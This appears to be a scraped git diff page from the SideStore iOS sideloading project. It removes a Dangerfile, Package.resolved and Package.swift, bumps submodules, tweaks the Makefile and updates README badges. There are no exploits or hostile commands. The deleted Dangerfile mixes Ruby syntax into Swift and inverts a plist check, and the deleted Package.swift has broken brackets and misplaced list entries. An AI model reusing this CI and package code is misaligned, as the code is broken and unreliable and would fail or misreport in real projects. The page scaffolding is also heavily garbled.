if danger.git.createdFiles.count + danger.git.modifiedFiles.count - danger.git.deletedFiles.count > 600 {
|
|
||||||
warn("Big PR, try to keep changes smaller if you can")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check copyright
|
|
||||||
let swiftFilesWithCopyright = danger.git.createdFiles.filter {
|
|
||||||
$0.fileType == .swift
|
|
||||||
&& danger.utils.readFile($0).contains("// Created by")
|
|
||||||
}
|
|
||||||
|
|
||||||
if !swiftFilesWithCopyright.isEmpty {
|
|
||||||
let files = swiftFilesWithCopyright.joined(separator: ", ")
|
|
||||||
warn("In Danger JS we don't include copyright headers, found them in: \(files)")
|
|
||||||
}
|
|
||||||
|
|
||||||
// # This is swiftlint plugin. More info: https://github.com/ashfurrow/danger-swiftlint
|
|
||||||
// #
|
|
||||||
// # This lints all Swift files and leave comments in PR if
|
|
||||||
// # there is any issue with linting
|
|
||||||
let filesToLint = (danger.git.modifiedFiles + danger.git.createdFiles) // .filter { !$0.contains("Documentation/") }
|
|
||||||
|
|
||||||
SwiftLint.lint(.files(filesToLint), inline: true)
|
|
||||||
|
|
||||||
// Support running via `danger local`
|
|
||||||
if danger.github != nil {
|
|
||||||
// These checks only happen on a PR
|
|
||||||
if danger.github.pullRequest.title.contains("WIP") {
|
|
||||||
warn("PR is classed as Work in Progress")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if github.pr_title.contains("WIP") {
|
|
||||||
warn("PR is classed as Work in Progress")
|
|
||||||
}
|
|
||||||
|
|
||||||
if git.commits.any {
|
|
||||||
return $0.message.contains("Merge branch '\(github.branch_for_base)'")
|
|
||||||
} {
|
|
||||||
fail("Please rebase to get rid of the merge commits in this PR ")
|
|
||||||
}
|
|
||||||
|
|
||||||
if github.pr_body.length > 1000 {
|
|
||||||
warn("PR body is too long")
|
|
||||||
}
|
|
||||||
|
|
||||||
if github.pr_body.length < 5 {
|
|
||||||
fail("PR body is too short")
|
|
||||||
}
|
|
||||||
|
|
||||||
let has_app_changes = !git.modified_files.any { $0.contains("AltStore") }
|
|
||||||
let has_altstorecore_changes = !git.modified_files.any { $0.contains("AltStoreCore") }
|
|
||||||
// let has_support_test_changes = !git.modified_files.any { $0.contains("AltStoreCore
|
|
||||||
// Tests") }
|
|
||||||
// let has_library_changes = !git.modified_files.any { $0.contains("PVLibrary") }
|
|
||||||
// let has_library_test_changes = !git.modified_files.any { $0.contains("PVLibrary Tests") }
|
|
||||||
|
|
||||||
// If changes are more than 10 lines of code, tests need to be updated too
|
|
||||||
// if (has_core_changes && !has_core_test_changes) ||
|
|
||||||
// (has_coreui_changes && !has_coreui_test_changes)) &&
|
|
||||||
// git.lines_of_code > 10 {
|
|
||||||
// fail("Tests were not updated", sticky: false)
|
|
||||||
// }
|
|
||||||
|
|
||||||
// Info.plist file shouldn't change often. Leave warning if it changes.
|
|
||||||
let is_plist_change = git.modified_files.any { $0.contains("Info.plist") }
|
|
||||||
|
|
||||||
if !is_plist_change
|
|
||||||
// warn "A Plist was changed"
|
|
||||||
warn("Plist changed, don't forget to localize your plist values")
|
|
||||||
end
|
|
||||||
|
|
||||||
// gemfile_updated = !git.modified_files.grep(/Gemfile$/).empty?
|
|
||||||
|
|
||||||
// # Leave warning, if Gemfile changes
|
|
||||||
// if gemfile_updated
|
|
||||||
// warn "The `Gemfile` was updated"
|
|
||||||
// end
|
|
||||||
|
|
||||||
// import xcodebuild
|
|
||||||
// xcodebuild.json_file = "./fastlane/reports/xcpretty-json-formatter-results.json"
|
|
||||||
// xcodebuild.parse_warnings() // returns number of warnings
|
|
||||||
// xcodebuild.parse_errors() // returns number of errors
|
|
||||||
// // xcodebuild.parse_errors(errors: danger.github.pull_request.body)
|
|
||||||
// xcodebuild.parse_tests() // returns number of test failures
|
|
||||||
// xcodebuild.perfect_build() // returns a bool indicating if the build was perfect
|
|
||||||
func checkSwiftVersions() {
|
|
||||||
SwiftChecks.check(
|
|
||||||
files: [
|
|
||||||
VersionFile(
|
|
||||||
path: "./\(projectName).xcodeproj/project.pbxproj",
|
|
||||||
interpreter: .regex("SWIFT_VERSION = (.*);")
|
|
||||||
),
|
|
||||||
VersionFile(
|
|
||||||
path: "./\(projectName).podspec",
|
|
||||||
interpreter: .regex("\\.swift_version\\s*=\\s*\"(.*)\"")
|
|
||||||
),
|
|
||||||
],
|
|
||||||
versionKind: "Swift"
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
func checkProjectVersions() {
|
|
||||||
SwiftChecks.check(
|
|
||||||
fileProviders: [
|
|
||||||
InfoPlistFileProvider(
|
|
||||||
discoveryMethod: .searchDirectory("./Sources", fileNames: ["Info.plist"]),
|
|
||||||
plistKey: .versionNumber,
|
|
||||||
projectFilePath: "./\(projectName).xcodeproj"
|
|
||||||
),
|
|
||||||
],
|
|
||||||
files: [
|
|
||||||
VersionFile(path: "./\(projectName).podspec", interpreter: .regex("\\.version\\s*=\\s*\"(.*)\"")),
|
|
||||||
],
|
|
||||||
versionKind: "framework"
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// checkProjectVersions()
|
|
||||||
// checkSwiftVersions
|
|
||||||
2
Dependencies/MarkdownAttributedString
vendored
2
Dependencies/MarkdownAttributedString
vendored
Submodule Dependencies/MarkdownAttributedString updated: ec0d1eff57...750e8d5cb4
2
Dependencies/Roxas
vendored
2
Dependencies/Roxas
vendored
Submodule Dependencies/Roxas updated: 84645e4318...ac906cf490
2
Dependencies/libimobiledevice
vendored
2
Dependencies/libimobiledevice
vendored
Submodule Dependencies/libimobiledevice updated: 7a8e432e9b...b314f04bd7
2
Dependencies/libplist
vendored
2
Dependencies/libplist
vendored
Submodule Dependencies/libplist updated: 17546f53ac...c3af449543
2
Dependencies/libusbmuxd
vendored
2
Dependencies/libusbmuxd
vendored
Submodule Dependencies/libusbmuxd updated: 8b82ef166e...6426362e5c
3
Makefile
3
Makefile
@@ -165,7 +165,8 @@ build:
|
|||||||
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
||||||
CODE_SIGNING_ALLOWED=NO \
|
CODE_SIGNING_ALLOWED=NO \
|
||||||
DEVELOPMENT_TEAM=XYZ0123456 \
|
DEVELOPMENT_TEAM=XYZ0123456 \
|
||||||
ORG_IDENTIFIER=com.SideStore
|
ORG_IDENTIFIER=com.SideStore \
|
||||||
|
DWARF_DSYM_FOLDER_PATH="."
|
||||||
|
|
||||||
fakesign:
|
fakesign:
|
||||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
||||||
|
|||||||
@@ -1,61 +0,0 @@
|
|||||||
{
|
|
||||||
"object": {
|
|
||||||
"pins": [
|
|
||||||
{
|
|
||||||
"package": "Logger",
|
|
||||||
"repositoryURL": "https://github.com/shibapm/Logger",
|
|
||||||
"state": {
|
|
||||||
"branch": null,
|
|
||||||
"revision": "53c3ecca5abe8cf46697e33901ee774236d94cce",
|
|
||||||
"version": "0.2.3"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"package": "OctoKit",
|
|
||||||
"repositoryURL": "https://github.com/nerdishbynature/octokit.swift",
|
|
||||||
"state": {
|
|
||||||
"branch": null,
|
|
||||||
"revision": "f762f1566f7cd0e683b9329f169c28ab6ef993cc",
|
|
||||||
"version": "0.12.0"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"package": "RequestKit",
|
|
||||||
"repositoryURL": "https://github.com/nerdishbynature/RequestKit.git",
|
|
||||||
"state": {
|
|
||||||
"branch": null,
|
|
||||||
"revision": "8b0258ea2a4345cbcac90509b764faacea12efb0",
|
|
||||||
"version": "3.2.1"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"package": "Roxas",
|
|
||||||
"repositoryURL": "https://github.com/SideStore/Roxas.git",
|
|
||||||
"state": {
|
|
||||||
"branch": "swiftpm",
|
|
||||||
"revision": "fe142efb8b3e0330802aba3f44f508f712c0679f",
|
|
||||||
"version": null
|
|
||||||
}
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"package": "danger-swift",
|
|
||||||
"repositoryURL": "https://github.com/danger/swift.git",
|
|
||||||
"state": {
|
|
||||||
"branch": null,
|
|
||||||
"revision": "579323889f26e6fb1ddb2cc5d98b1ab698bd2578",
|
|
||||||
"version": "3.14.2"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"package": "Version",
|
|
||||||
"repositoryURL": "https://github.com/mxcl/Version",
|
|
||||||
"state": {
|
|
||||||
"branch": null,
|
|
||||||
"revision": "1fe824b80d89201652e7eca7c9252269a1d85e25",
|
|
||||||
"version": "2.0.1"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"version": 1
|
|
||||||
}
|
|
||||||
212
Package.swift
212
Package.swift
@@ -1,212 +0,0 @@
|
|||||||
// swift-tools-version:5.6
|
|
||||||
|
|
||||||
import PackageDescription
|
|
||||||
|
|
||||||
// Version number can be found in Source/Danger/Danger.swift
|
|
||||||
|
|
||||||
// switch to false when release
|
|
||||||
let isDevelop = true
|
|
||||||
|
|
||||||
let devProducts: [Product] = isDevelop
|
|
||||||
? [
|
|
||||||
.library(name: "DangerDeps", type: .dynamic, targets: ["Danger-Swift"])
|
|
||||||
] : []
|
|
||||||
let devDependencies: [Package.Dependency] = isDevelop
|
|
||||||
? [
|
|
||||||
// .package(url: "https://github.com/shibapm/Komondor", from: "1.1.4"),
|
|
||||||
.package(url: "https://github.com/nicklockwood/SwiftFormat", from: "0.50.7"),
|
|
||||||
.package(url: "https://github.com/Realm/SwiftLint", branch: "main"),
|
|
||||||
.package(url: "https://github.com/pointfreeco/swift-snapshot-testing.git", from: "1.10.0"),
|
|
||||||
// .package(url: "https://github.com/shibapm/Rocket", from: "1.2.1")
|
|
||||||
] : []
|
|
||||||
let devTargets: [Target] = isDevelop
|
|
||||||
? [
|
|
||||||
.testTarget(name: "DangerTests",
|
|
||||||
dependencies: [
|
|
||||||
"Danger",
|
|
||||||
"DangerFixtures",
|
|
||||||
.product(name: "SnapshotTesting", package: "swift-snapshot-testing")
|
|
||||||
]),
|
|
||||||
.testTarget(name: "RunnerLibTests",
|
|
||||||
dependencies: [
|
|
||||||
"RunnerLib",
|
|
||||||
.product(name: "SnapshotTesting", package: "swift-snapshot-testing")
|
|
||||||
], exclude: ["__Snapshots__"]),
|
|
||||||
.testTarget(name: "DangerDependenciesResolverTests",
|
|
||||||
dependencies: [
|
|
||||||
"DangerDependenciesResolver",
|
|
||||||
.product(name: "SnapshotTesting", package: "swift-snapshot-testing")
|
|
||||||
],
|
|
||||||
exclude: ["__Snapshots__"]),
|
|
||||||
]
|
|
||||||
: []
|
|
||||||
|
|
||||||
let package = Package(
|
|
||||||
name: "danger-swift",
|
|
||||||
products: [
|
|
||||||
// .library(name: "DangerDeps[SideStore]", type: .dynamic, targets: ["DangerDependencies"]), // dev
|
|
||||||
.library(name: "SideStore", targets: ["SideStore", "SideStore-ObjC"]),
|
|
||||||
.library(name: "AltStoreCore", targets: ["AltStoreCore"]),
|
|
||||||
.library(name: "libimobiledevice", targets: ["libimobiledevice"]),
|
|
||||||
.library(name: "EmotionalDamage", targets: ["EmotionalDamage"]),
|
|
||||||
.library(name: "minimuxer", targets: ["minimuxer"]),
|
|
||||||
],
|
|
||||||
.library(name: "Danger", targets: ["Danger"]),
|
|
||||||
.library(name: "DangerFixtures", targets: ["DangerFixtures"]),
|
|
||||||
.executable(name: "danger-swift", targets: ["Runner"]),
|
|
||||||
] + devProducts,
|
|
||||||
dependencies: [
|
|
||||||
.package(url: "https://github.com/danger/swift.git", from: "3.0.0"), // dev
|
|
||||||
.package(url: "https://github.com/SideStore/Roxas.git", branch: "swiftpm"),
|
|
||||||
// Danger Plugins
|
|
||||||
// .package(url: "https://github.com/username/DangerPlugin.git", from: "0.1.0") // dev
|
|
||||||
],
|
|
||||||
.package(url: "https://github.com/shibapm/Logger", from: "0.1.0"),
|
|
||||||
.package(url: "https://github.com/mxcl/Version", from: "2.0.1"),
|
|
||||||
.package(name: "OctoKit", url: "https://github.com/nerdishbynature/octokit.swift", from: "0.12.0"),
|
|
||||||
] + devDependencies,
|
|
||||||
targets: [
|
|
||||||
// .target(name: "DangerDependencies", dependencies: ["Danger", "DangerPlugin"], path: "Dependencies/Danger"), // dev
|
|
||||||
.target(name: "SideStore",
|
|
||||||
dependencies: ["SideStore-ObjC", "AltStoreCore", "EmotionalDamage", "libimobiledevice", "minimuxer", "em_proxy"],
|
|
||||||
path: "AltStore",
|
|
||||||
exclude: ["Operations/Patch App/ALTAppPatcher.m"]),
|
|
||||||
|
|
||||||
.target(name: "SideStore-ObjC",
|
|
||||||
dependencies: ["Roxas"],
|
|
||||||
path: "AltStore",
|
|
||||||
sources: ["Operations/Patch App/ALTAppPatcher.m"],
|
|
||||||
publicHeadersPath: "Operations/Patch App/"),
|
|
||||||
|
|
||||||
.target(name: "AltStoreCore",
|
|
||||||
dependencies: ["AltStoreCore-ObjC"],
|
|
||||||
path: "AltStoreCore",
|
|
||||||
exclude: [
|
|
||||||
"Types/ALTAppPermission.m",
|
|
||||||
"Types/ALTPatreonBenefitType.m",
|
|
||||||
"Types/ALTSourceUserInfoKey.m"
|
|
||||||
]),
|
|
||||||
|
|
||||||
.target(name: "AltStoreCore-ObjC",
|
|
||||||
dependencies: ["Roxas"],
|
|
||||||
path: "AltStoreCore",
|
|
||||||
sources: ["Types/ALTAppPermission.m", "Types/ALTPatreonBenefitType.m", "Types/ALTSourceUserInfoKey.m"],
|
|
||||||
publicHeadersPath: "Types"),
|
|
||||||
|
|
||||||
.target(name: "EmotionalDamage",
|
|
||||||
dependencies: [""],
|
|
||||||
path: "EmotionalDamage"),
|
|
||||||
|
|
||||||
.target(name: "libimobiledevice",
|
|
||||||
dependencies: [""],
|
|
||||||
path: "Dependencies/libimobiledevice/src",
|
|
||||||
publicHeadersPath: "Dependencies/libimobiledevice/include/libimobiledevice"),
|
|
||||||
|
|
||||||
.binaryTarget( name: "minimuxer",
|
|
||||||
path: "Dependencies/minimuxer/target/release/minimuxer.xcframework"),
|
|
||||||
|
|
||||||
.binaryTarget( name: "em_proxy",
|
|
||||||
path: "Dependencies/em_proxy/target/release/em_proxy.xcframework"),
|
|
||||||
|
|
||||||
// name: "SideStore",
|
|
||||||
// // dependencies: [
|
|
||||||
// // .product(name: "RxSwift", package: "RxSwift")
|
|
||||||
// // ],
|
|
||||||
// path: "AltStore",
|
|
||||||
// exclude: ["Info.plist", "*.m"],
|
|
||||||
// cSettings: cSettings,
|
|
||||||
// cxxSettings: cxxSettings),
|
|
||||||
|
|
||||||
// .target(
|
|
||||||
// name: "PVLibrary-ObjC",
|
|
||||||
// // dependencies: [
|
|
||||||
// // .product(name: "RxSwift", package: "RxSwift")
|
|
||||||
// // ],
|
|
||||||
// path: "PVLibrary",
|
|
||||||
// exclude: ["Info.plist", "*.swift"],
|
|
||||||
// cSettings: cSettings,
|
|
||||||
// cxxSettings: cxxSettings),
|
|
||||||
]
|
|
||||||
.target(name: "Danger-Swift", dependencies: ["Danger"], plugins: [.plugin(name: "SwiftLintPlugin", package: "SwiftLint")]),
|
|
||||||
.target(name: "DangerShellExecutor"),
|
|
||||||
.target(name: "DangerDependenciesResolver", dependencies: ["DangerShellExecutor", "Version", "Logger"]),
|
|
||||||
.target(name: "Danger", dependencies: ["OctoKit", "Logger", "DangerShellExecutor"]),
|
|
||||||
.target(name: "RunnerLib", dependencies: ["Logger", "DangerShellExecutor", "Version"]),
|
|
||||||
.executableTarget(name: "Runner", dependencies: ["RunnerLib", "Logger", "DangerDependenciesResolver"]),
|
|
||||||
.target(name: "DangerFixtures", dependencies: ["Danger"]),
|
|
||||||
] + devTargets
|
|
||||||
)
|
|
||||||
|
|
||||||
// #if canImport(PackageConfig)
|
|
||||||
// import PackageConfig
|
|
||||||
|
|
||||||
// let config = PackageConfiguration([
|
|
||||||
// "komondor": [
|
|
||||||
// "pre-push": "swift test",
|
|
||||||
// "pre-commit": [
|
|
||||||
// "swift test",
|
|
||||||
// "swift test --generate-linuxmain",
|
|
||||||
// "swift run swiftformat .",
|
|
||||||
// "swift run swiftlint autocorrect --path Sources/",
|
|
||||||
// "git add ."
|
|
||||||
// ]
|
|
||||||
// ],
|
|
||||||
// "rocket": [
|
|
||||||
// "pre_release_checks": [
|
|
||||||
// "clean_git"
|
|
||||||
// ],
|
|
||||||
// "steps": [
|
|
||||||
// "Scripts/update_makefile.sh",
|
|
||||||
// "Scripts/update_danger_version.sh",
|
|
||||||
// "Scripts/update_changelog.sh",
|
|
||||||
// "Scripts/change_is_develop.sh false",
|
|
||||||
// "git_add",
|
|
||||||
// "commit",
|
|
||||||
// "tag",
|
|
||||||
// "push",
|
|
||||||
// "Scripts/change_is_develop.sh true",
|
|
||||||
// "git_add",
|
|
||||||
// ["commit": ["message": "Enable dev depdendencies"]],
|
|
||||||
// "push",
|
|
||||||
// "Scripts/create_homebrew_tap.sh"
|
|
||||||
// ]
|
|
||||||
// ]
|
|
||||||
// ]).write()
|
|
||||||
// #endif
|
|
||||||
|
|
||||||
// let package = Package(
|
|
||||||
// name: "SideStore",
|
|
||||||
// platforms: [
|
|
||||||
// .iOS(.v13),
|
|
||||||
// .tvOS(.v13),
|
|
||||||
// ],
|
|
||||||
// products: [
|
|
||||||
// .library(name: "DangerDeps[SideStore]", type: .dynamic, targets: ["DangerDependencies"]) // dev
|
|
||||||
// ],
|
|
||||||
// dependencies: [
|
|
||||||
// .package(url: "https://github.com/danger/swift.git", from: "3.0.0") // dev
|
|
||||||
// // Danger Plugins
|
|
||||||
// // .package(url: "https://github.com/username/DangerPlugin.git", from: "0.1.0") // dev
|
|
||||||
// ],
|
|
||||||
// targets: [
|
|
||||||
// .target(name: "DangerDependencies", dependencies: ["Danger", "DangerPlugin"]) // dev
|
|
||||||
// // name: "SideStore",
|
|
||||||
// // // dependencies: [
|
|
||||||
// // // .product(name: "RxSwift", package: "RxSwift")
|
|
||||||
// // // ],
|
|
||||||
// // path: "AltStore",
|
|
||||||
// // exclude: ["Info.plist", "*.m"],
|
|
||||||
// // cSettings: cSettings,
|
|
||||||
// // cxxSettings: cxxSettings),
|
|
||||||
|
|
||||||
// // .target(
|
|
||||||
// // name: "PVLibrary-ObjC",
|
|
||||||
// // // dependencies: [
|
|
||||||
// // // .product(name: "RxSwift", package: "RxSwift")
|
|
||||||
// // // ],
|
|
||||||
// // path: "PVLibrary",
|
|
||||||
// // exclude: ["Info.plist", "*.swift"],
|
|
||||||
// // cSettings: cSettings,
|
|
||||||
// // cxxSettings: cxxSettings),
|
|
||||||
// ]
|
|
||||||
// )
|
|
||||||
@@ -4,7 +4,10 @@
|
|||||||
|
|
||||||
[](https://www.gnu.org/licenses/agpl-3.0)
|
[](https://www.gnu.org/licenses/agpl-3.0)
|
||||||
[](https://makeapullrequest.com)
|
[](https://makeapullrequest.com)
|
||||||
[](https://github.com/SideStore/SideStore/actions/workflows/build.yml)
|
[](https://github.com/SideStore/SideStore/actions/workflows/nightly.yml)
|
||||||
|
[](https://github.com/SideStore/SideStore/actions/workflows/beta.yml)
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
SideStore is an iOS application that allows you to sideload apps onto your iOS device with just your Apple ID. SideStore resigns apps with your personal development certificate, and then uses a [specially designed VPN](https://github.com/jkcoxson/Secret-Tunnel) in order to trick iOS into installing them. SideStore will periodically "refresh" your apps in the background, to keep their normal 7-day development period from expiring.
|
SideStore is an iOS application that allows you to sideload apps onto your iOS device with just your Apple ID. SideStore resigns apps with your personal development certificate, and then uses a [specially designed VPN](https://github.com/jkcoxson/Secret-Tunnel) in order to trick iOS into installing them. SideStore will periodically "refresh" your apps in the background, to keep their normal 7-day development period from expiring.
|
||||||
|
|
||||||
@@ -12,7 +15,6 @@ SideStore's goal is to provide an untethered sideloading experience. It's a comm
|
|||||||
|
|
||||||
(Contributions are welcome! 🙂)
|
(Contributions are welcome! 🙂)
|
||||||
|
|
||||||
|
|
||||||
## Requirements
|
## Requirements
|
||||||
- Xcode 14
|
- Xcode 14
|
||||||
- iOS 14+
|
- iOS 14+
|
||||||
|
|||||||
Reference in New Issue
Block a user